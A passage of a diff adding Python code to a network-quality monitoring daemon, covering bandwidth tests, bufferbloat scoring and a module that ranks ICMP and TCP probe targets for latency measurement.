self.content_running = True + + down_hint, up_hint = self._content_hint(network) + + def run(): + try: + r = speedtest.content_test(down_hint_mbps=down_hint, + up_hint_mbps=up_hint) + after = self.link.latest + if (after.get("ssid") or after.get("name") or "") != network: + # The network changed under the transfer, so the sample + # belongs to neither. The change has already scheduled + # a fresh check of its own. + return + if r["ok"]: + self.store.put_test(int(r["started"]), "content", r["engine"], + down_mbps=r["down_mbps"], up_mbps=r["up_mbps"], + bytes=r["bytes"], ok=True, network=network) + # A fresh result should reprice the baseline promptly. + self._baseline_cache = None + self._content_retry_used = False + elif not self._content_retry_used: + self._content_retry_used = True + self._content_boost_at = time.time() + CONTENT_RETRY_S + finally: + self.content_running = False + + threading.Thread(target=run, daemon=True, name="content-test").start() + + def _content_hint(self, network: str): + """What this network has shown, so the next check can size itself. + + The best of the recent checks rather than the last. Sizing from a + reading that happened to come in low would make the next transfer + shorter, which reads lower again — a ratchet the floor alone would + stop only at the bottom. The best recent reading is also the honest + answer to "what can this line do", which is the question the size is + being chosen against. + + None for a network with no history: the first check sends the cap and + produces the hint that every check after it uses. + """ + downs, ups = [], [] + for t in self.store.tests(limit=8, kind="content"): + if not t["ok"] or (t["network"] or "") != network: + continue + if t["down_mbps"]: + downs.append(t["down_mbps"]) + if t["up_mbps"]: + ups.append(t["up_mbps"]) + return (max(downs) if downs else None), (max(ups) if ups else None) + + def tests_idle(self) -> bool: + """May a bandwidth test start? One at a time. + + Two saturating transfers invalidate each other's rate and share the + probes' loaded-latency window. The scheduled check always yielded + to a running peak; until 0.2.21 a peak did not yield to a running + check, because nothing recorded that one was running. + """ + return not (self.peak_running or self.content_running) + + def run_peak_test(self): + """On demand, in its own thread; loaded latency comes from the probes.""" + if not self.tests_idle(): + return + self.peak_running = True + + snap = self.link.latest + network = snap.get("ssid") or snap.get("name") or "" + + def run(): + try: + idle = score.lag_ms(self.total.stats(60)) + started = time.time() + r = speedtest.peak_test(self.config["peakEngine"]) + loaded_st = merged_stats([[s for s in lst if s[0] >= started] + for lst in self.total.each()]) + loaded = (round(loaded_st["p50"], 1) + if loaded_st.get("p50") is not None else None) + if r["ok"]: + self.store.put_test( + int(r["started"]), "peak", r["engine"], + down_mbps=r.get("down_mbps"), up_mbps=r.get("up_mbps"), + ping_idle=r.get("ping_idle") or idle, ping_loaded=loaded, + jitter=r.get("jitter"), bytes=r.get("bytes"), + server=r.get("server"), ok=True, + detail=r.get("url", ""), network=network) + else: + self.store.put_test(int(r["started"]), "peak", r["engine"], + ok=False, network=network) + finally: + self.peak_running = False + + threading.Thread(target=run, daemon=True, name="peak-test").start() + + # -------------------------------------------------------------- writing + + def speed_score(self, now: float, network: str): + """(score, ctx) for the Speed component. + + Plan configured -> scored against it. Otherwise the absolute + experience curve, with a degradation penalty against this network's + own recent p90. The baseline is cached for a minute — it moves at + content-check cadence, not at probe cadence. + """ + tests = [t for t in self.store.tests(limit=12, kind="content") + if t["ok"] and t["down_mbps"] is not None] + + plan_d = self.config["planDownMbps"] + plan_u = self.config["planUpMbps"] + if plan_d: + if not tests: + return None, {"basis": "plan", "plan_down": plan_d, + "last_down": None, "last_up": None} + last = tests[0] + spd = score.speed(last["down_mbps"], last["up_mbps"], + plan_d, plan_u or 0) + return spd, {"basis": "plan", "plan_down": plan_d, + "plan_up": plan_u, + "last_down": last["down_mbps"], + "last_up": last["up_mbps"]} + + # Checks describe the network they ran on. A result from another + # network says nothing about this one, so on a network with no + # checks yet the component is honestly unknown (and the changed + # network has already scheduled a prompt check). + mine = [t for t in tests + if (t.get("network") or "") == network] if network else tests + if not mine: + return None, {"basis": "auto", "baseline_down": None, + "last_down": None, "last_up": None, + "pending": True} + + # Median of the last few checks here, so one bad sample — a check + # that ran mid-roam or during someone's upload — cannot pin the + # score until the next hourly run. + recent = mine[:3] + downs = sorted(t["down_mbps"] for t in recent) + down = downs[len(downs) // 2] + ups = sorted(t["up_mbps"] for t in recent + if t["up_mbps"] is not None) + up = ups[len(ups) // 2] if ups else None + + cache = getattr(self, "_baseline_cache", None) + if not cache or now - cache[0] > 60 or cache[2] != network: + baseline = self.store.baseline_speed(network=network, now=now, + fallback=False) + cache = (now, baseline, network) + self._baseline_cache = cache + baseline = cache[1] + spd = score.speed(down, up, baseline_down=baseline) + + # A saturating test of the same line, run recently and by hand, is + # better evidence of what the line can do than a 12 MB sample. It + # still does not become the score — a manual test must not flatter + # it — but it can withdraw a figure it contradicts. + peak_down = None + for t in self.store.tests(limit=6, kind="peak"): + if not t["ok"] or t["down_mbps"] is None: + continue + if network and (t.get("network") or "") != network: + continue + if now - t["ts"] > PEAK_FRESH_S: + break + peak_down = t["down_mbps"] + break + + scored = score.speed_scored(down, len(recent), peak_down) + return spd, {"basis": "auto", "baseline_down": baseline, + "last_down": down, "last_up": up, + "samples": len(recent), "scored": scored, + "peak_down": peak_down} + + def bufferbloat(self, window_s: float = 300.0) -> dict: + """Lag while the link was idle vs while it was carrying traffic. + + The gap between them is bufferbloat, and it is the failure a plain + latency number misses entirely: a line can answer in 15 ms at rest, + sit at 300 ms whenever anyone downloads anything, and still look + excellent on every idle measurement anyone takes of it. + + Both figures come from the same probe stream — no extra traffic is + generated to produce them. That is the whole point of tagging each + sample as it lands: the user's own usage supplies the load. + """ + # Split each seated instrument's own stream by load, then merge the + # idle halves and the loaded halves with the instruments counting + # equally — see merged_stats for why the pooled stream may not be + # fed to Series.stats. + lists = self.total.each(window_s) + splits = [Series.split_by_load(lst) for lst in lists] + idle_st = merged_stats([sp[0] for sp in splits]) + loaded_st = merged_stats([sp[1] for sp in splits]) + n_idle, n_loaded = idle_st["count"], loaded_st["count"] + idle_lag = score.lag_ms(idle_st) if n_idle else None + loaded_lag = score.lag_ms(loaded_st) if n_loaded else None + # A handful of samples on either side produces noise, not a ratio — + # observed live, a five-sample loaded window read as 0.59, i.e. the + # link answering *faster* under load. Both sides need enough + # samples before the comparison means anything. + inflation = None + if (idle_lag and loaded_lag and idle_lag > 0 + and n_idle >= MIN_LOAD_SPLIT_SAMPLES + and n_loaded >= MIN_LOAD_SPLIT_SAMPLES): + ratio = loaded_lag / idle_lag + if ratio >= MIN_PLAUSIBLE_INFLATION: + # Clamped at 1: a ratio a hair under it means the two are + # indistinguishable, not that load made the link quicker. + inflation = round(max(1.0, ratio), 2) + # Percentiles over the loaded samples ALONE. The headline stats span + # a fixed 30 s window, so a ten-second burst is averaged with twenty + # seconds of quiet and reads far milder than it was: measured against + # another tool on the same event, 107 ms against its 246. Scoping the + # percentile to the samples that were actually taken under load is + # the same idea as their per-phase percentile, using the tagging + # 0.1.11 already put on every probe. + return {"idle": idle_lag, "loaded": loaded_lag, + "inflation": inflation, "loaded_samples": n_loaded, + "idle_samples": n_idle, + "loaded_p50": loaded_st.get("p50"), + "loaded_p95": loaded_st.get("p95"), + "idle_p50": idle_st.get("p50"), + # How fast the queue emptied once traffic stopped. Depth is + # what everyone reports; duration is what a user feels after + # the download finishes. + "drain": self._drain(lists, splits, self._active_keys())} + + def _active_keys(self): + """Seated instrument keys, in the order `_active_series` yields them.""" + return [i.key for i in self.bench.actives() + if i.key in self._instrument_series] + + @staticmethod + def _drain(lists, splits, keys=None) -> dict: + """drain_after_load per instrument, each against its own idle + floor, the slowest one reported. Two instruments with different + base round trips cannot share a baseline: measured against the + lower one's floor the higher one never settles, and the lower one + settles the moment its first post-load sample lands. The queue + they drained through is the same, so the pessimistic view is the + honest one. + + That last sentence is under review and the numbers beside `ms` are + why. Each instrument's value is the gap to its next observation, so + it is an UPPER BOUND floored at that instrument's own cadence — + which means taking the largest reliably selects whichever instrument + looks least often, and publishes it as the line being slow to drain. + `min_ms` is the tightest bound the same window offers and `src` names + the instrument the published value came from. Both are recorded per + minute so the choice can be settled from stored history rather than + argued from first principles, which is how it has been argued so far. + """ + out = {"ms": None, "settled": None, "min_ms": None, "src": None} + keys = keys or [] + for i, (samples, (idle, _)) in enumerate(zip(lists, splits)): + base = Series.stats(idle).get("p50") if idle else None + d = score.drain_after_load(samples, base) + ms = d.get("ms") + if ms is None: + continue + if out["ms"] is None or ms > out["ms"]: + out["ms"] = ms + out["settled"] = d.get("settled") + out["src"] = keys[i] if i < len(keys) else None + if out["min_ms"] is None or ms < out["min_ms"]: + out["min_ms"] = ms + return out + + def compose_live(self, now: float) -> dict: + """live.json, twice a second. + + Some keys here have no panel reader — `reach`, `lag.inflation`, + `pressure.source`, `metered.kind`, `update.state`, `sockets.rejected` + and a few more. They stay on purpose: `nexthop live` is how every + measurement in this file was verified, and a payload trimmed to what + the panel draws would leave the operator blind. Trim deliberately, + never because a grep found no reader. + """ + ls = Series.stats(self.local.since(30)) + ts = self.total.stats(30) + ws = score.wan_from(ts, ls) + lag = score.lag_ms(ts) + resp = score.responsiveness(lag) if ts["count"] else None + # Idle vs loaded over a longer window than the headline: bufferbloat + # only shows when the link has actually been used, and 30 s of an + # idle laptop would almost never contain a loaded sample. Reported, + # not yet scored — the number has to be trusted before it can move + # anyone's index. + bloat = self.bufferbloat(300.0) + + out_frac, disruptions, disrupt_frac = self.store.outage_stats(24 * 3600, now) + rel = score.reliability(out_frac, disruptions, + disruption_fraction=disrupt_frac) + + snap = self.link.latest + network = snap.get("ssid") or snap.get("name") or "" + self.last_signal = snap.get("signal_dbm") + prev = getattr(self, "_content_network", None) + if network and prev is not None and network != prev: + # New network: the hourly cadence would leave Speed unknown or + # stale for up to an hour here. Measure soon — after a settle + # delay, so a roam in progress is not sampled as the network's + # capability. + self._content_boost_at = now + 90 + if network: + self._content_network = network + if snap.get("kind") == "wifi": + self.link_watch.sample(now, snap, + (self.rates[0] or 0) + (self.rates[1] or 0)) + st = snap.get("station") or {} + if st.get("tx_packets"): + st["retry_pct"] = round( + 100.0 * (st.get("tx_retries") or 0) / st["tx_packets"], 2) + spd, speed_ctx = self.speed_score(now, network) + + band = score.lag_band(ts) + + # An under-sampled or contradicted Speed figure is published and + # left out of the headline — see score.speed_scored. + idx = score.index(resp, rel, spd if speed_ctx.get("scored") else None) + + state = "online" + if self.captive.confirmed: + # Outranks both leg verdicts because it explains them: on a + # portal the gateway often refuses pings and something answers + # for the anchor, so "router unreachable" and "internet fine" + # are both artefacts of the same interception. + state = "captive" + elif self.watch_local.down_since and self.local_events.real_outage: + # A silent gateway is not an unreachable one; the arbiter decides. + state = "local-down" + elif self.watch_wan.down_since and self.wan_events.real_outage: + # Pings alone cannot declare this; see WanEventArbiter. During + # an icmp-quiet spell the bar stays its ordinary colour — the + # user's internet is working, and the log holds the anomaly. + state = "wan-down" + elif idx is not None and idx < 70: + state = "degraded" + + # An index computed while a leg is confirmed down scores a + # connection that is not there — see score.scored_now. Withheld, + # not lowered; the state is the headline and the panel draws "--". + headline = idx if score.scored_now(state) else None + + return { + "v": 1, + "t": round(now, 3), + "state": state, + "index": headline, + "band": score.band(headline), + "scores": {"responsiveness": resp, "reliability": rel, "speed": spd}, + "speed_ctx": speed_ctx, + # best/typical/worst all come from the same fold — see + # score.lag_band. `now` stays the scored p75-based figure. + "lag": {"now": lag, + "best": band.get("best"), "worst": band.get("worst"), + "typical": band.get("typical"), + "idle": bloat["idle"], "loaded": bloat["loaded"], + "inflation": bloat["inflation"], + "loaded_samples": bloat["loaded_samples"], + "idle_samples": bloat["idle_samples"], + "loaded_p50": bloat["loaded_p50"], + "loaded_p95": bloat["loaded_p95"], + "idle_p50": bloat["idle_p50"], + "drain_ms": bloat["drain"]["ms"], + "drain_settled": bloat["drain"]["settled"]}, + "local": ls, "total": ts, "wan": ws, + "wan_ip": self.wan_ip, + # A phone sharing its data, or a link the user marked metered. + # `care` rides along so the panel can say whether anything is + # actually being held back, and is read fresh each time rather + # than frozen when the link was detected. + "metered": (dict(self.metered, care=bool(self.config["meteredCare"])) + if self.metered else None), + # Proof the real internet answered, or why it did not. + "reach": self.captive.snapshot(), + # What the user's own TCP connections are experiencing, straight + # from the kernel: their real traffic to their real destinations. + "sockets": self.app_traffic.latency, + # What the connection is doing right now, as opposed to lately. + # The index answers the second question and cannot answer the + # first — see score.pressure. + "pressure": score.pressure( + socket_queue_ms=(self.app_traffic.latency or {}).get("queue_p50"), + loaded_ms=bloat["loaded"], idle_ms=bloat["idle"]), + # Whether a newer version is published. A notice, not an + # action: nothing here updates anything. + "update": self.update_watch.snapshot(), + "instruments": self.bench.snapshot(now, self._instrument_stats()), + "rates": {"rx_bps": self.rates[0], "tx_bps": self.rates[1], + "rx_total": self.counter_samples[-1][1] if self.counter_samples else None, + "tx_total": self.counter_samples[-1][2] if self.counter_samples else None}, + "link": snap, + "down_since": self.watch_local.down_since or self.watch_wan.down_since, + "peak_running": self.peak_running, + "content_running": self.content_running, + "pid": os.getpid(), + "pid_start": proc_start_ticks(os.getpid()), + "daemon_version": __version__, + } + + def flush_recent(self, now: float): + """recent.json: last 30 min at 5-second resolution, ~360 points.""" + self.last_recent_flush = now + self.aux_ring.append((now, self.rates[0], self.rates[1], + self.last_signal)) + points = [] + bucket = 5.0 + start = now - 1800 + locs = self.local.all() + insts = self.total.each() + + def fold(samples): + out = {} + for smp in samples: + t, r = smp[0], smp[1] + if t < start: + continue + b = int((t - start) / bucket) + out.setdefault(b, []).append(r) + return out + + lb, tbs = fold(locs), [fold(lst) for lst in insts] + aux_b = {} + for at, rx, tx, sig in self.aux_ring: + if at >= start: + aux_b[int((at - start) / bucket)] = (rx, tx, sig) + for b in range(int(1800 / bucket)): + l = lb.get(b, []) + lr = [x for x in l if x is not None] + # Each seated instrument's bucket mean, then the mean of those: + # a seat that probes twice as often must not count twice. Loss + # stays a pooled count — on the chart it is a tick, present or + # not, and the readout's percentage is of everything sent. + means, n_t, lost_t = [], 0, 0 + for t in (tb.get(b, []) for tb in tbs): + tr = [x for x in t if x is not None] + n_t += len(t) + lost_t += len(t) - len(tr) + if tr: + means.append(sum(tr) / len(tr)) + a = aux_b.get(b) + points.append({ + "t": round(start + b * bucket, 1), + "local": round(sum(lr) / len(lr), 2) if lr else None, + "total": round(sum(means) / len(means), 2) if means else None, + # The ISP leg per point, derived here rather than in QML so + # the inversion guard has one implementation. A panel that + # subtracted these itself would be a second copy of a rule + # whose whole purpose is refusing to answer, and the copy + # that forgets to refuse is the one that ships. + "wan": score.wan_point_ms( + round(sum(means) / len(means), 2) if means else None, + round(sum(lr) / len(lr), 2) if lr else None), + # None means no probe was sent in this bucket, which is a gap. + # A figure with no `total` means probes went out and nothing + # came back, which is down. The two must stay distinguishable: + # a gap is drawn as nothing, a down as an outage. + "loss": round((len(l) - len(lr) + lost_t) / + max(1, len(l) + n_t), 3) if (l or n_t) else None, + "rx": round(a[0], 1) if a and a[0] is not None else None, + "tx": round(a[1], 1) if a and a[1] is not None else None, + "sig": a[2] if a else None, + }) + write_atomic(recent_path(), {"v": 1, "t": now, "bucket_s": bucket, + "points": points}) + + def flush_minute(self, now: float): + ls = Series.stats(self.local.since(60)) + ts = self.total.stats(60) + ws = score.wan_from(ts, ls) + lag = score.lag_ms(ts) + resp = score.responsiveness(lag) if ts["count"] else None + # The old basis kept beside the new: the 0.2.0 switch to + # instrument-scored lag must stay auditable against what ICMP + # alone would have said — the 0.1.10 discipline, applied to + # ourselves. + icmp_stats = Series.stats(self.icmp_anchor.since(60)) + icmp_lag = score.lag_ms(icmp_stats) if icmp_stats["count"] else None + + out_frac, disruptions, disrupt_frac = self.store.outage_stats(24 * 3600, now) + rel = score.reliability(out_frac, disruptions, + disruption_fraction=disrupt_frac) + bloat = self.bufferbloat(300.0) + snap_link = self.link.latest + if snap_link.get("kind") != "wifi": + snap_link = {} + spd, spd_ctx = self.speed_score(now, snap_link.get("ssid", "")) + idx = score.index(resp, rel, spd if spd_ctx.get("scored") else None) + self.store.put_minute( + int(now // 60) * 60, + { + "local_p50": ls.get("p50"), "local_p95": ls.get("p95"), + "local_jitter": ls.get("jitter"), "local_loss": ls.get("loss"), + "wan_p50": ws.get("p50"), "wan_p95": ws.get("p95"), + "wan_jitter": ws.get("jitter"), "wan_loss": ws.get("loss"), + # Recorded, not scored — see SAMPLE_COLUMNS. + "local_p75": ls.get("p75"), "local_max": ls.get("max"), + "wan_p75": ws.get("p75"), "wan_max": ws.get("max"), + "lag": lag, + "rx_bps": self.rates[0], "tx_bps": self.rates[1], + "signal_dbm": snap_link.get("signal_dbm"), + "resp": resp, "rel": rel, "spd": spd, "idx": idx, + "lag_idle": bloat["idle"], "lag_loaded": bloat["loaded"], + "lag_icmp": icmp_lag, + # Stored so a published figure can be checked afterwards. + # `settled` as 1/0 rather than a bool: the column is REAL like + # its neighbours, and None stays None so "never measured" and + # "measured, did not settle" remain different answers. + "drain_ms": (bloat.get("drain") or {}).get("ms"), + "drain_min_ms": (bloat.get("drain") or {}).get("min_ms"), + "drain_settled": ( + None if (bloat.get("drain") or {}).get("settled") is None + else float(bool((bloat["drain"])["settled"]))), + "drain_src": (bloat.get("drain") or {}).get("src"), + }, + iface=self.route.get("iface", ""), + network=snap_link.get("ssid", ""), + probes="+".join(sorted(i.key for i in self.bench.actives())), + ) + + def flush_apps(self, now: float): + """apps.json: top apps by TCP traffic, plus the honest remainder. + + The interface moves bytes that no unprivileged tool can attribute — + UDP and with it QUIC, protocol overhead, other users' processes. + That remainder is published as its own bucket instead of being + left to look like the top apps account for everything. + """ + if not self.app_traffic.poll(): + return + tcp_rx = sum(a["rx_bps"] for a in self.app_traffic.rates) + tcp_tx = sum(a["tx_bps"] for a in self.app_traffic.rates) + iface_rx = self.rates[0] or 0.0 + iface_tx = self.rates[1] or 0.0 + write_atomic(apps_path(), { + "v": 1, + "t": round(now, 1), + "apps": self.app_traffic.top(8), + "other": { + "rx_bps": round(max(0.0, iface_rx - tcp_rx), 1), + "tx_bps": round(max(0.0, iface_tx - tcp_tx), 1), + }, + }) + + # ----------------------------------------------------------------- main + + def loop(self): + tick = 0.5 + while self.running: + now = time.time() + self.config.refresh() + self.restart_probes_if_settings_changed() + + self.watch_outages(now) + self.throughput(now, self.route.get("iface", "")) + + write_atomic(live_path(), self.compose_live(now)) + + if now - self.last_apps_poll >= 3.0: + self.last_apps_poll = now + self.flush_apps(now) + + if now - self.last_minute_flush >= 60: + self.last_minute_flush = now + self.flush_minute(now) + self.flush_recent(now) + self.restart_probes_if_route_changed() + elif now - self.last_recent_flush >= 5.0: + self.flush_recent(now) + + if now - self.last_rollup >= 3600: + self.last_rollup = now + self.store.rollup_hours(now) + self.store.prune(minute_days=int(self.config["historyDays"]), + now=now) + + # Off the loop: the check is a curl, and the bar must keep + # updating at 2 Hz while it runs. tick() only starts and + # collects it; the address it proves is adopted here. + self.captive.tick(now, self._any_instrument_alive(6.0)) + self.adopt_wan_ip() + + self.update_watch.enabled = bool(self.config["updateCheck"]) + self.update_watch.tick(now) + + self.maybe_content_test(now) + + if now - self._last_bench_eval >= BENCH_EVAL_EVERY_S: + self._last_bench_eval = now + self._apply_seats( + self.bench.evaluate(now, self._instrument_stats())) + + # A peak asked for during the scheduled check waits for it to + # finish rather than being dropped or run on top of it. + if self.peak_requested.is_set() and not self.content_running: + self.peak_requested.clear() + self.run_peak_test() + + time.sleep(max(0.1, tick - (time.time() - now))) + + # Exit code contract with the shell service: LOCK_HELD means another + # instance owns the measurement and the service must not respawn us. + # Every other exit — including a clean 0 from SIGTERM — deserves a + # respawn, because a daemon that was asked to stop is still a daemon + # that is no longer measuring. + EXIT_LOCK_HELD = 3 + + def run(self): + if not self.acquire_lock(): + print("nexthopd: another instance holds the lock, exiting", + file=sys.stderr) + return self.EXIT_LOCK_HELD + # Only now that the lock is ours: whatever a previous daemon left + # open, it will never close. See Store.close_orphans. + self.store.close_orphans(time.time()) + retire_legacy_snapshots(self.state_dir, runtime_dir(), time.time()) + signal.signal(signal.SIGTERM, self.stop) + signal.signal(signal.SIGINT, self.stop) + # SIGUSR1 is the "run a peak test" doorbell — file-free, and safe to + # send from a QML Process one-liner. + signal.signal(signal.SIGUSR1, lambda *_: self.peak_requested.set()) + self.nl_events.start() + self.link.start() + self.start_probes() + try: + self.loop() + finally: + for p in self.probes: + p.stop() + self.link.stop() + self.nl_events.stop() + self.store.close() + return 0 + + +def main(): + return Daemon().run() + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/plugins/io.github.x3me.nexthop/nexthopd/instruments.py b/plugins/io.github.x3me.nexthop/nexthopd/instruments.py new file mode 100644 index 0000000..e7bbe86 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/instruments.py @@ -0,0 +1,353 @@ +"""Two best instruments for the internet leg. + +One anchor is one opinion. A single probe target that rate-limits, gets +DDoSed, or sits behind a bad peering path poisons the score for everyone +behind it — and there is no way to tell "my internet is slow" from "the +anchor is having a day" with one instrument. Orb's answer, adopted here: +keep a small pool of instruments, score from the best two, re-rank them +continuously, and never let one flapping target churn the pair. + +An instrument is a (protocol, target) pair. The pool mixes protocols on +purpose: TCP handshakes travel the application path, ICMP is the cheapest +edge detector — each can fail alone, and the pair means neither failing +alone moves the score. Ranking is arguable-by-design, one number at a +time, like the score anchors: + + penalty = 2000·loss + (p95 − p50) + 0.1·p50 + +Loss dominates (5 % of packets lost costs as much as 100 ms of tail spread), the +tail spread comes second because Lag leans on p75, and the median is a +tiebreak — an instrument must not win its seat merely by being close. + +Damping, because re-selection is where naive versions of this oscillate: +a challenger must beat the worst active instrument by 20 % on two +consecutive evaluations; an instrument whose seat changes three or more +times in an hour is quarantined for thirty minutes; and a dead active +instrument is replaced immediately, hysteresis notwithstanding — waiting +two rounds to bench a corpse helps nobody. + +Everything here is pure bookkeeping over injected stats. No probe, no +subprocess, no clock of its own — which is what makes it testable, and +tested. +""" + +import statistics +from collections import deque + +from .probes import RECENT_MIN_SAMPLES, RECENT_WINDOW_S, Series + +DEAD_PENALTY = 2000.0 # loss = 1.0 and nothing else to say + + +def penalty(stats): + """Rank one instrument's recent window; None = not enough to judge.""" + if not stats: + return None + count = stats.get("count") or 0 + if count < Bench.MIN_SAMPLES: + return None + loss = stats.get("loss") or 0.0 + p50, p95 = stats.get("p50"), stats.get("p95") + if p50 is None: + return DEAD_PENALTY * loss if loss > 0 else None + spread = (p95 - p50) if p95 is not None else 0.0 + return DEAD_PENALTY * loss + spread + 0.1 * p50 + + +def host_of(target: str) -> str: + """The address part of an instrument's target. + + So that two instruments pointed at the same machine are recognisable as + such: `1.1.1.1` and `1.1.1.1:443` are one host wearing two protocols. A + trailing `:port` is stripped only when what remains holds no colon of its + own, which leaves an IPv6 literal intact rather than truncating it. + """ + head, sep, tail = target.rpartition(":") + if sep and tail.isdigit() and ":" not in head: + return head + return target + + +class Instrument: + def __init__(self, key: str, kind: str, target: str = ""): + self.key = key + self.kind = kind # "icmp" | "tcp" + self.target = target + self.active = False + self.pending_wins = 0 # consecutive evaluations won as challenger + self.seat_changes = deque(maxlen=32) # timestamps, for flap tracking + self.quarantined_until = 0.0 + + def flapping(self, now, window_s, limit) -> bool: + return sum(1 for t in self.seat_changes if now - t <= window_s) >= limit + + +class Bench: + """Holds the pool, decides who sits in the two scored seats.""" + + ACTIVE_N = 2 + WINDOW_S = RECENT_WINDOW_S # ranking window, shared with TcpProbe + RESELECT_EVERY_S = 300.0 # ordinary re-ranking cadence + MIN_SAMPLES = RECENT_MIN_SAMPLES # below this a window judges nothing + MARGIN = 0.8 # challenger must be 20% better than the seat + CONSECUTIVE_WINS = 2 + FLAP_WINDOW_S = 3600.0 + FLAP_LIMIT = 3 + QUARANTINE_S = 1800.0 + # An active instrument at or past this penalty is not "worse", it is + # gone — full loss, or no samples arriving at all. + DEAD_AT = DEAD_PENALTY * 0.95 + + def __init__(self, pool): + """pool: ordered [(key, kind, target)]. + + The opening seats span two DISTINCT hosts rather than being the first + two in the pool. They used to be `pool[:2]` — ICMP and TCP to the + anchor, the pre-0.2.0 pair, kept for continuity until the first + ranking. On any network that blocks the anchor outright that put both + scored seats on a dead host at every start: the outage watch opens at + 4 s, the notification fires at 5 s, and the bench cannot reseat until + its next pass a minute later. A false outage and a desktop alert on + every daemon start, and the daemon restarts on a shell restart, a + version handover and a probe-settings change (#5). + + One working seat is enough to prevent it — the leg answers if either + instrument does — so the rule is simply that the pair must not be one + host twice. The bench re-ranks from there as it always did; this only + decides what is seated before there is anything to rank. + + Not fixed by changing the default anchor: every candidate address is + blocked on somebody's network, so that moves the report rather than + closing it. + """ + self.instruments = {} + for key, kind, target in pool: + self.instruments[key] = Instrument(key, kind, target) + for inst in self._opening_seats(): + inst.active = True + self._last_reselect = 0.0 + + def _opening_seats(self): + """The first instruments of the pool that do not share a host.""" + seats, hosts = [], set() + for inst in self.instruments.values(): + if len(seats) >= self.ACTIVE_N: + break + host = host_of(inst.target) + if host in hosts: + continue + seats.append(inst) + hosts.add(host) + # A pool offering fewer distinct hosts than there are seats fills the + # rest in order: fewer scored instruments than the bench expects is a + # worse failure than two of them sharing a host. + if len(seats) < self.ACTIVE_N: + for inst in self.instruments.values(): + if len(seats) >= self.ACTIVE_N: + break + if inst not in seats: + seats.append(inst) + return seats + + def actives(self): + return [i for i in self.instruments.values() if i.active] + + def _healthy(self, pens, inst, now): + p = pens.get(inst.key) + return (p is not None and p < self.DEAD_AT + and now >= inst.quarantined_until) + + def _seat(self, inst, now, active: bool): + if inst.active == active: + return None + inst.active = active + inst.pending_wins = 0 + inst.seat_changes.append(now) + if inst.flapping(now, self.FLAP_WINDOW_S, self.FLAP_LIMIT): + inst.quarantined_until = now + self.QUARANTINE_S + return (inst.key, active) + + def evaluate(self, now, stats_by_key): + """One pass; returns [(key, now_active)] seat changes. + + Call every minute or so: emergency replacement of a dead seat acts + on any pass, ordinary re-ranking only every RESELECT_EVERY_S. + """ + pens = {k: penalty(stats_by_key.get(k)) for k in self.instruments} + changes = [] + + # A dead seat is replaced now. No hysteresis for corpses — but no + # churn during a full outage either: promotion needs a healthy + # standby, and when everything is dead the pair stands still. + for inst in self.actives(): + p = pens.get(inst.key) + if p is not None and p < self.DEAD_AT: + continue + standbys = [i for i in self.instruments.values() + if not i.active and self._healthy(pens, i, now)] + if not standbys: + continue + best = min(standbys, key=lambda i: pens[i.key]) + changes += filter(None, [self._seat(inst, now, False), + self._seat(best, now, True)]) + + if now - self._last_reselect < self.RESELECT_EVERY_S: + return changes + self._last_reselect = now + + # Ordinary re-ranking, damped. The worst seat defends against the + # best healthy challenger; a challenger that stops winning starts + # over from zero. + actives = [i for i in self.actives() if pens.get(i.key) is not None] + challengers = [i for i in self.instruments.values() + if not i.active and self._healthy(pens, i, now)] + for inst in self.instruments.values(): + if not inst.active and inst not in challengers: + inst.pending_wins = 0 + if not actives or not challengers: + return changes + worst = max(actives, key=lambda i: pens[i.key]) + best = min(challengers, key=lambda i: pens[i.key]) + for c in challengers: + if c is not best: + c.pending_wins = 0 + if pens[best.key] < pens[worst.key] * self.MARGIN: + best.pending_wins += 1 + if best.pending_wins >= self.CONSECUTIVE_WINS: + changes += filter(None, [self._seat(worst, now, False), + self._seat(best, now, True)]) + else: + best.pending_wins = 0 + return changes + + def snapshot(self, now, stats_by_key): + """For live.json: who is in the pool, who holds a seat, and how + each has been measuring — so the shell can show the bench.""" + out = [] + for inst in self.instruments.values(): + st = stats_by_key.get(inst.key) or {} + out.append({ + "key": inst.key, "kind": inst.kind, "target": inst.target, + "active": inst.active, + "quarantined": now < inst.quarantined_until, + "p50": st.get("p50"), "p95": st.get("p95"), + # Per instrument, so the field can show what the merged + # figure used to hide: jitter measured within one stream. + "jitter": st.get("jitter"), + "loss": st.get("loss"), "count": st.get("count") or 0, + }) + return out + + +def merged_stats(sample_lists) -> dict: + """Series.stats over several instruments, each counting once. + + Pooling the seated instruments' raw samples and calling Series.stats on + the pile — what this replaces — got two things wrong, and both moved + the score: + + * Jitter is RFC 3550 IPDV, the difference between consecutive replies, + and consecutive replies in a pooled stream come from different + instruments. Two perfectly stable instruments with different base + round trips read as jittery: replayed at this line's own figures + (ICMP 3.41 ms at 500 ms, TCP 4.82 ms at 1 s) the pool reported + 0.93 ms of jitter from two streams with none, and on a router that + fast-paths ICMP (5 vs 15 ms) it reported 6.6 ms and took ten points + off Responsiveness for nothing. + * Every instrument was weighted by how often it happened to probe. + ICMP follows the probeIntervalMs setting and TCP is fixed at one a + second, so changing a setting changed p75, loss and the index while + the network stayed the same: the 5/15 case scored 100, 92.7 or 90.3 + depending only on that number. + + Here each instrument's replies carry weight 1/n, percentiles are the + weighted nearest rank over the pool, jitter is the mean of the + instruments' own IPDVs, and loss is the mean of their loss rates. + One instrument reduces to Series.stats exactly, so `lag_icmp` and the + local leg are untouched. + """ + lists = [lst for lst in sample_lists if lst] + if not lists: + return Series.stats([]) + if len(lists) == 1: + return Series.stats(lists[0]) + per = [Series.stats(lst) for lst in lists] + count = sum(p["count"] for p in per) + loss = statistics.fmean(p["loss"] for p in per) + replies = [[smp[1] for smp in lst if smp[1] is not None] for lst in lists] + voiced = [r for r in replies if r] + if not voiced: + return {"count": count, "loss": loss, "p50": None, "p75": None, + "p95": None, "jitter": None, "last": None, "max": None} + pooled = [] + for r in voiced: + w = 1.0 / len(r) + pooled.extend((v, w) for v in r) + pooled.sort(key=lambda x: x[0]) + total_w = float(len(voiced)) + + def pct(p): + target = p * total_w - 1e-9 + cum = 0.0 + for v, w in pooled: + cum += w + if cum >= target: + return v + return pooled[-1][0] + + jitters = [p["jitter"] for p in per if p["jitter"] is not None] + newest = None + for lst in lists: + for smp in reversed(lst): + if smp[1] is not None: + if newest is None or smp[0] > newest[0]: + newest = smp + break + return { + "count": count, + "loss": loss, + "p50": round(pct(0.5), 2), + "p75": round(pct(0.75), 2), + "p95": round(pct(0.95), 2), + "max": round(pooled[-1][0], 2), + "jitter": round(statistics.fmean(jitters), 2) if jitters else 0.0, + "last": 